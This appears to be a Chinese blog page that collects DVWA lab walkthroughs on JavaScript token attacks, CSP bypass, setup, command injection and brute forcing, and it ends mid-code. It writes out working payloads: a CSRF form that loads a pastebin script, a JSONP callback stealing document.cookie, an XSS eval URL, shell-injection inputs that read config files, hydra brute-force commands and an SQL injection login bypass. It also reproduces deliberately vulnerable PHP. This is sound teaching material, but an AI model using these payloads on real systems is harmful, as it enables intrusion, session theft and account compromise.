GVKun编程网logo

DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks(黑客攻防技术宝典:web实战篇)

11

在这篇文章中,我们将为您详细介绍DVWA黑客攻防演练的内容,并且讨论关于十三JS攻击JavaScriptAttacks的相关问题。此外,我们还会涉及一些关于DVWA黑客攻防实战(十五)绕过内容安全策略

在这篇文章中,我们将为您详细介绍DVWA 黑客攻防演练的内容,并且讨论关于十三JS 攻击 JavaScript Attacks的相关问题。此外,我们还会涉及一些关于DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass、DVWA 黑客攻防演练(一) 介绍及安装、DVWA 黑客攻防演练(三)命令行注入(Command Injection)、DVWA 黑客攻防演练(二)暴力破解 Brute Froce的知识,以帮助您更全面地了解这个主题。

本文目录一览:

DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks(黑客攻防技术宝典:web实战篇)

DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks(黑客攻防技术宝典:web实战篇)

新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了。

玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了。也看得我有点懵逼。

初级

如果你改成 “success” 提交一下会出现了这个,Invalid token。这是什么回事呢?

你可以打开控制台(F12),看看情况。

你会看到这个 token,不是后台生成的,而是前台生成的。。。而前台生成的 token,是用 md5("ChangeMe"),而后台期待的 md5 是 md5("success")。 所以你在输入框中输入 success 之后,还得在控制台在调用 generate_token() 函数。

结果如下

中级

思路是一样的,只是生成 token 的函数放到另外的 js 文件中了。 如果你打开这个 js 文件 http://192.168.0.110:5678/vulnerabilities/javascript/source/medium.js ,你会看到这样

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
setTimeout(function () {
    do_elsesomething("XX")
}, 300);

function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

所以,在输入框输入 “success” 之后,在控制台中,输入do_elsesomething("XX") 就可以了。

高级

高级和中级类似,生成 token 的逻辑在额外的 js 文件中。和中级不同的是,这里的 JS 经过了混淆的。。。就显得很混乱。

http://192.168.0.110:5678/vulnerabilities/javascript/source/high.js 截取其中的一段给大家看看

var a=[''fromCharCode'',''toString'',''replace'',''BeJ'',''\x5cw+'',''Lyg'',''SuR'',''(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=

这不是正常人类能看懂的。 而 http://deobfuscatejavascript.com 中提供的功能是,把混淆后的代码转成人类能看懂一些 js 代码 其中关键的部分是这里:

这里生成 token 的步骤是:

1、执行token_part_1("ABCD", 44) 2、执行token_part_2("XX")(原本是延迟 300ms执行的那个) 3、点击按钮的时候执行 token_part_3

所以我们在输入框输入 success 后,再到控制台中输入token_part_1("ABCD", 44)token_part_2("XX")这两个函数就可以了。

不可能

哈哈哈,被摆了一道了。你永远不要信息来自用户的任何东西!!!

DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass

DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass

看到标题,是否有点疑惑 CPS 是什么东东。简单介绍一下就是浏览器的安全策略,如果 <meta> 标签,或者是服务器中返回 HTTP 头中有 Content-Security-Policy 标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行。阮一峰老师也有关于CSP 的文章,大家可以看看

看回 DVWA。DVWA 中需求也是很简单的,输入被信任的资源,就能加载或执行资源了。

初级

初级篇,如果不看源码的话。看检查器(F12),也可以知道一些被信任的网站。

其他的网站,大家应该也比较熟悉。而当中的 pastebin 是什么网站呢?一个快速分享文本内容的网站 假如文本的内容是一段 js 代码呢?

比如是源码中提示我们的, 输入 https://pastebin.com/raw/VqHmJKjr

所以,不应该信任那些可以自由编辑文件的网页的

那么能如何进行攻击呢? 可以用 CSRF 吧。

造一个恶意的网站,通过发邮件的方式诱导用户点击即可。详情可以看 CSRF 那一章。

<form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/VqHmJKjr";
form.submit();
</script>

中级

中级的问题在于使用了 ''unsafe-inline'' ''nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='' 这个标签,

也就是说如果你输入

<script nonc=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

是能注入成功的。

这当然也可以利用 CSRF 手段进行攻击

高级

高级就改变了形式了,点击按钮会得到答案,而这个答案是用 JSONP 的方式获得的。(常用于跨越请求)

而且 cps 也设置为只信任自己的域名了

Content-Security-Policy: script-src ''self'';

那这能有什么问题呢?

而点击后发请求的逻辑在 vulnerabilities/csp/source/high.js

 function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj[''answer''];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

先说下这里的逻辑是什么吧。

  1. 客户端点击按钮后,会在 html 中创建 <script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> 这样的标签
  2. 因为 script 不同于 ajax,所以可以跨域发送的
  3. 服务器就根据 callback 请求,返回 solveSum({"answer":"15"}) , 就可以调用 high.js 中的solveSum 有点绕。

大家应该能理解吧。

但如果有人将 callback 参数改成 ...callback=alert(document.cookie)//呢? 返回的确实 alert(document.cookie)//({"answer":"15"}) 。。。

所以这是一个注入点。 至于如何利用,可以用同一个级别的 反射型 XSS 攻击,在 CSRF 那篇也见过这种攻击的手法

假如我有一个这样的 js 。

d=document;
h=d.getElementsByTagName(''head'').item(0);
s=d.createElement(''script'');
s.setAttribute(''src'',''/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//'');
h.appendChild(s);

即可完成攻击

而 xss 攻击 url 是这样的

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)

去掉转义是这样的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))">#d=document;h=d.getElementsByTagName(''head'').item(0);s=d.createElement(''script'');s.setAttribute(''src'',''/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//'');h.appendChild(s); 意思就是说,XSS 那里有个注入点,添加了个图片,图片地址错误的时候会折断 url 的哈希路由的部分进行攻击。具体还是看下 XSS 和 CSRF 那部分吧

不可能

就没有 url 中的 callback 了,后台写死了

<?php

$headerCSP = "Content-Security-Policy: script-src ''self'';";

header($headerCSP);

?>
<?php
if (isset ($_POST[''include''])) {
$page[ ''body'' ] .= "
    " . $_POST[''include''] . "
";
}
$page[ ''body'' ] .= ''
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
'';

总结

见识了这些绕过的方式,设置 CSP 还得谨慎点。 JSONP 跨域,其实也挺多安全性问题的。比如一些敏感的信息一不注意就会在恶意网站通过 JOSNP 泄露出去的。

DVWA 黑客攻防演练(一) 介绍及安装

DVWA 黑客攻防演练(一) 介绍及安装

原本是像写一篇 SELinux 的文章的。而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求。而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击。就想找个充满漏洞的系统来证明 SELinux 的必要性。就找到了 DVWA 。因为它存在很多方面的漏洞,而且还有不同级别的攻击方式,觉得还挺好玩的。。。所以就不如开发一遍新大陆,把攻防两端的手段也记录一下。

DVWA 介绍

DVWA 就是个充满漏洞的系统, 全称是 Damn Vulnerable Web Application(该死的充满漏洞的网络应用),漏洞大体有这么几个:

  • Brute Force(暴力(破解))
  • Command Injection(命令行注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA(不安全的验证码)
  • SQL Injection(SQL注入)
  • SQL Injection(Blind)(SQL盲注)
  • XSS(Reflected)(反射型跨站脚本)
  • XSS(Stored)(存储型跨站脚本)

而且还有级别的

  1. 低级:这安全级别非常容易受到攻击,毫无安全措施可言。它的作用是,用错误的编码让 Web应用程序的漏洞表现出来,并作为教授或者学习基本开发技术的平台。
  2. 中级:这个级别,开发人员会尝试保护但是失败。。。主要是提供一些不良代码实践(反模式)。它还对用户提出挑战,以改进他们的开发技术。
  3. 高级:这选项是中级难度的扩展,会混用更难攻击的代码或者替换不良代码来尝试保护。该漏洞可能不允许相同程度的利用(exploitation),类似于各种 Capture The Flags(CTFs)竞赛。
  4. 不可能。这个级别应该可以抵御所有漏洞。这是用来将有漏洞的代码和安全性代码做对比的。

看完这些介绍是否觉得有点像玩电子游戏,有不同级别的挑战,有各种的成就。

安装

以前安装觉得还是有点麻烦的,我之前也没怎么写过 php。。。感谢大杀器 docker。

# 因为 80 端口我给了本机的 ngnix
docker run --rm -it -p 5678:80 vulnerables/web-dvwa

而进入到 docker 里面可以这样。 先用获取容器的 id

sudo docker ps -a
CONTAINER ID        IMAGE                     COMMAND             CREATED             STATUS                   PORTS                                                 NAMES
56e69b5b67b6        vulnerables/web-dvwa      "/main.sh"          26 hours ago        Up 26 hours              0.0.0.0:5678->80/tcp

再进入

sudo docker exec -it 56e69b5b67b6 bash

来看看它默认的环境 查看发行版

cat /etc/issue
Debian GNU/Linux 9

你看得没错,root 用户进程 再根据 Debian 的 SELinux 设置

check-selinux-installation
bash: check-selinux-installation: command not found

应该是没有安装 SELinux的。

看下 php 版本

打开网页看看,我的地址是 192.168.0.110

KaliLinux

对了说起网络安全, 想起了一个专门给渗透用的 Linux 发行版 KaliLinux ,预装了很多渗透用的的工具(有些工具还挺难装的),之后会用到的。而我选择用虚拟机,或许官方也知道很多人用虚拟机吧,官方专门有虚拟机的镜像文件下载(密码默认是 toor)

DVWA 系列的目录(已完结)

  • 暴力破解 Brute Froce
  • 命令行注入 Command Injection
  • CSRF 攻击 Cross Site Request Forgery
  • 文件包含 File Inclusion
  • 文件上传漏洞 File Upload
  • 不安全的验证码 Insecure CAPTCHA
  • weak sessionId
  • SQL注入 SQL Injection
  • SQL 盲注 SQL Injection Blind
  • 反射型 XSS 攻击
  • 存储型 XSS 攻击 Stored Cross Site Scripting
  • DOM型 XSS 攻击 DOM Based Cross Site Scripting
  • js 攻击 JavaScript Attacks
  • 绕过内容安全策略 Content Security Policy (CSP) Bypass

DVWA 黑客攻防演练(三)命令行注入(Command Injection)

DVWA 黑客攻防演练(三)命令行注入(Command Injection)

文章会讨论 DVWA 中低、中、高、不可能级别的命令行注入

这里的需求是在服务器上可以 ping 一下其他的服务器

低级

Hacker 试下输入 192.168.31.130; cat /etc/apache2/apache2.conf;

瞬间爆炸, 竟然是直接执行 shell 的结果。再看看代码

<?php

if( isset( $_POST[ ''Submit'' ]  ) ) {
    // Get input
    $target = $_REQUEST[ ''ip'' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( ''s'' ), ''Windows NT'' ) ) {
        // Windows
        $cmd = shell_exec( ''ping  '' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( ''ping  -c 4 '' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

竟然没有任何的参数校验!这主机安全可以说是形同虚设。 Hacker 竟然不废任何力气,就得到一个 weshell 了!接下来的攻击主要是就看攻击者的想象力了,什么改掉你的文件,什么创建个新页面做负载均衡,批量将 php 重名了。。。

中级

中级代码有做了一点参数校验

<?php

if( isset( $_POST[ ''Submit'' ]  ) ) {
    // Get input
    $target = $_REQUEST[ ''ip'' ];

    // Set blacklist
    $substitutions = array(
        ''&&'' => '''',
        '';''  => '''',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( ''s'' ), ''Windows NT'' ) ) {
        // Windows
        $cmd = shell_exec( ''ping  '' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( ''ping  -c 4 '' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

会将有;&&都移除了。

Hacker 试了一下 || cat /etc/apache2/apache2.conf 。。。注入成功。而 || 的意思是第一条命令执行失败就会执行下一条。。。

Hacker 又试了一下 & cat /etc/apache2/apache2.conf。。。注入也成功。 &是后台执行,然后再执行新的代码。

主要是过滤太少的参数了。

高级

高级的话就过滤的参数比较多。

<?php

if( isset( $_POST[ ''Submit'' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ ''ip'' ]);

    // Set blacklist
    $substitutions = array(
        ''&''  => '''',
        '';''  => '''',
        ''| '' => '''',
        ''-''  => '''',
        ''$''  => '''',
        ''(''  => '''',
        '')''  => '''',
        ''`''  => '''',
        ''||'' => '''',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( ''s'' ), ''Windows NT'' ) ) {
        // Windows
        $cmd = shell_exec( ''ping  '' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( ''ping  -c 4 '' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

|cat /etc/apache2/apache2.conf 就可以了,因为 substitutions 中的 | 后面有个空格, |+<space>才会被替换 。。。有点无语

不可能

<?php

if( isset( $_POST[ ''Submit'' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ''user_token'' ], $_SESSION[ ''session_token'' ], ''index.php'' );

    // Get input
    $target = $_REQUEST[ ''ip'' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int''s put the IP back together.
        $target = $octet[0] . ''.'' . $octet[1] . ''.'' . $octet[2] . ''.'' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( ''s'' ), ''Windows NT'' ) ) {
            // Windows
            $cmd = shell_exec( ''ping  '' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( ''ping  -c 4 '' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo ''<pre>ERROR: You have entered an invalid IP.</pre>'';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

不能级别,添加了 token 用来对付 CSRF 跨域请求攻击。还对参数进行真正的验证,只有 ip 参数才能够 ping。如果是我写的话可能会用估计会用正则表达式。这个方式验证也可以了。

DVWA 黑客攻防演练(二)暴力破解 Brute Froce

DVWA 黑客攻防演练(二)暴力破解 Brute Froce

暴力破解,简称”爆破“。不要以为没人会对一些小站爆破。实现上我以前用 wordpress 搭建一个博客开始就有人对我的站点进行爆破。这是装了 WordfenceWAF 插件后的统计的情况。 装了 WordfenceWAF 看到报告就深刻感受到国际友人对我这破站的安全性的深刻关怀了。你不封他们的 ip ,他们的程序就会像中了 “奇淫合欢散” 那些对你的网站锲而不舍地爆破。而下面会从 dvma 中学习如何爆破和如何防爆破。

初级

页面是这样的。

很简单的登录,代码可以点击 view source 可以看到

<?php

if( isset( $_GET[ ''Login'' ] ) ) {
    // Get username
    $user = $_GET[ ''username'' ];

    // Get password
    $pass = $_GET[ ''password'' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = ''$user'' AND password = ''$pass'';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ''<pre>'' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ''</pre>'' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

这提交太简单,简直引人犯罪,来看看人类满满的恶意吧。下面介绍在 Kali Linux 中比较常用的两个工具 burp suite 和 hydra

Burp Suite

Burp Suite 是 Kali Linux 中预装的非常强大的渗透工具。在这个部分主要用来抓包和进行吧爆破。(可以在这里下载,win,mac都可以用的

将安全等级设置为 low 后,打开 burp suite,设置火狐浏览器的网络走 burp suite 的代理(即localost:8080,如图所示),让 burp suite 拦截火狐的请求

如果你要修改 burp suite 端口的话,你可以在 proxy-> options 中修改

之后你可以在 DVWA 的 Brute Force 的页面上输入帐号 admin 和 密码,密码随便都可以,提交后,发现页面动不了了,因为 burp suite 拦截了请求了。 点击右键,将求的信息发送到入侵器(intruder)(你点击 Forward 会将请求跑完,如果错过了,可以在 Proxy->Http History 和 target 那里都能找到之前的记录 )

然后在 intruder->position 那里点击 clear ,清理掉所有的变量,然后再添加 password 部分。也就是爆破点只有 password 部分。

然后点击 payloads,添加一份常用密码(Kali Linux 在 /usr/share/john/password.lst 或者从 github 上搜一份),并移除注释。

然后再设置爆破的标准,因为密码错误的时候会提示 Username and/or password incorrect

所以报文如果不能匹配到 incorrect,就说明密码爆破成功。所以在 Options 那里设置成这样就行了

然后再点击上面,右上角的 start attack 就可以了

结果如下

明显 password 就是密码了

Hydra

爆破的原理是一样的,不过 hydra 用的是命令行。而根据上面抓包得出的信息。(文档可以看这里) 可以马上用这条命令进行爆破。

hydra 192.168.0.110 -s 5678 -l admin -IVv -P /usr/share/john/password.lst http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie: security=low;PHPSESSID=isk2inn2psu1sh56slicq6oim7"

常用参数

  • s :端口
  • l:用户名
  • L:用户列表文件
  • p:密码
  • P:密码文件
  • I:忽略现有的恢复文件,强制退出就有恢复文件了(不需要等10秒)
  • v:输出详细信息
  • V:输出每次尝试的用户和密码

而 http-get-form 的东西和上面说的都差不多只是一个是图形化界面一个是命令行参数罢了。应该很容易理解。得到的结果如下。

SQL 注入

如果你看上面的源代码的话,你会发现会有 SQL 注入的问题的。密码因为有 md5 一下所有不存在注入的问题,但是 $user 没有。。。所以往 $user 参数的方向去想。 比如 user 是 admin''# 时

    $query  = "SELECT * FROM `users` WHERE user = ''$user'' AND password = ''$pass'';";
    //结果会是这样
    $query = "SELECT * FROM `users` WHERE user = ''admin''#'' AND password = ''$pass'';"
    //mysql 语句中 # 后面都是注释,就变成
    $query = "SELECT * FROM `users` WHERE user = ''admin''

从而登录到了 admin 帐号。。。

中级

中级的界面是这样的

而代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证,以及登录失败会 sleep(2)

将 **用户名和密码转义,**比如说 \n 被转义成 \\n,'' 转义成 \'',这可以抵御一些 SQL 注入攻击,但是不能抵御爆破。代码如下

<?php

if( isset( $_GET[ ''Login'' ] ) ) {
    // Sanitise username input
    $user = $_GET[ ''username'' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ ''password'' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = ''$user'' AND password = ''$pass'';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ''<pre>'' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ''</pre>'' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

用 hydra 试试 hydra 192.168.0.110 -s 5678 -l admin -IVv -P /usr/share/john/password.lst http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie: PHPSESSID=pfoju9qirkvqmcnpgb49a2bop4; security=medium" 毫无疑问可以爆破的

高级

高级的页面代码

<form action="#" method="GET">
    Username:<br>
    <input type="text" name="username"><br>
    Password:<br>
    <input type="password" autocomplete="off" name="password"><br>
    <br>
    <input type="submit" value="Login" name="Login">
    <input type="hidden" name="user_token" value="b258081b421c1ee77b3b1d5a53be58ca">
</form>

服务端的代码

<?php

if( isset( $_GET[ ''Login'' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ''user_token'' ], $_SESSION[ ''session_token'' ], ''index.php'' );

    // Sanitise username input
    $user = $_GET[ ''username'' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ ''password'' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = ''$user'' AND password = ''$pass'';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ''<pre>'' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ''</pre>'' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

高级点的代码的话,会检查 user_token

意思是,用户访问 login.php 的时候就生成一个 token 保存在 session,并让它登录的时候发送给服务器,如果服务器有这个 token 就证明这个请求是确实打开了 login.php 才再提交了。

登录失败或者根本就没 token 就将这个 token 从 session 中移除,生成新的 token 再执行之前的操作。

就如注释所言但这是用来防止 CSRF 攻击的,所谓的 CSRF 就是比如打开恶意网站,里面有张图片,或者伪造一个输入框利用网站 cookies 就可以直接“帮你”做删除数据之类的操作的。

这段代码防不了爆破,每次爆破之前获取页面的 token 不就可以了吗。 而 stripslashes 是用来还原 html 词汇,比如 a\tsay\t\''world\'' 之类,就会还原成 a say ''world'' 对防御爆破没什么帮助的。

一些文章会用 python 去写,我觉得要写代码去做功能考虑去做,如果能工具去做的事绝不写代码。 (有点奉太郎的味道

所以下面主要是用 brup 实现,而基本操作 在 Kali Linux 中要用 brup v1.3.6 才行。v1.3.5 有录制宏的bug 。 burp suite 也不复杂。

爆破可以配置成这样,在作用域(scope)中设置匹配的 Url 及相关的宏,爆破前就能就获取页面的 token,并将之放到 url 参数中

下面是设置过程

录制请求

之后你可以在 DVWA 的 Brute Force 的页面上输入帐号 admin 和 密码,密码随便都可以,提交后,发现页面动不了了,因为 burp suite 拦截了请求了。

此时,如果你点击 Forward 会将请求会继续跑

配置作用域

在 target-> sitemap 那里配置作用域

设置匹配条件

在 project options -> session 的 Session Handle Rules 上,配置匹配的项目以及匹配后要做的事。 点击 Add 按钮创建匹配 Url 后要做的东西。

这里配置意思是说,这是只有爆破的时候才会启动(intruder),其他功能不会用到这个规则。

录制获取 token 的行为的宏

行为是,在爆破前获取 token ,并将之放到 url 中。

然后点击 Add 按钮,添加宏

选择需要那个需要获取 token 的页面,点击最下面的 ok 按钮

配置选项

创建要添加到 url 的参数

填写要放到参数名,双击 b59619b0e13a9016a524e686f47720e2 后帮你自动填好的。然后点击 ok

配置后如下 然后一直点击 Ok 就行了。

爆破设置

步骤和之前的一样。在 target->site map 中找到要爆破的请求

到 Intruder 页,设置要爆破的参数

配置常用密码字典

匹配出错情况

开始爆破

爆破结果如下

不可能级别

到这个级别,利用工具基本无法爆破。来看看代码吧

<?php

if( isset( $_POST[ ''Login'' ] ) && isset ($_POST[''username'']) && isset ($_POST[''password'']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ''user_token'' ], $_SESSION[ ''session_token'' ], ''index.php'' );

    // Sanitise username input
    $user = $_POST[ ''username'' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ ''password'' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( ''SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;'' );
    $data->bindParam( '':user'', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ ''failed_login'' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ ''last_login'' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn''t locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( ''SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;'' );
    $data->bindParam( '':user'', $user, PDO::PARAM_STR);
    $data->bindParam( '':password'', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ ''avatar'' ];
        $failed_login = $row[ ''failed_login'' ];
        $last_login   = $row[ ''last_login'' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
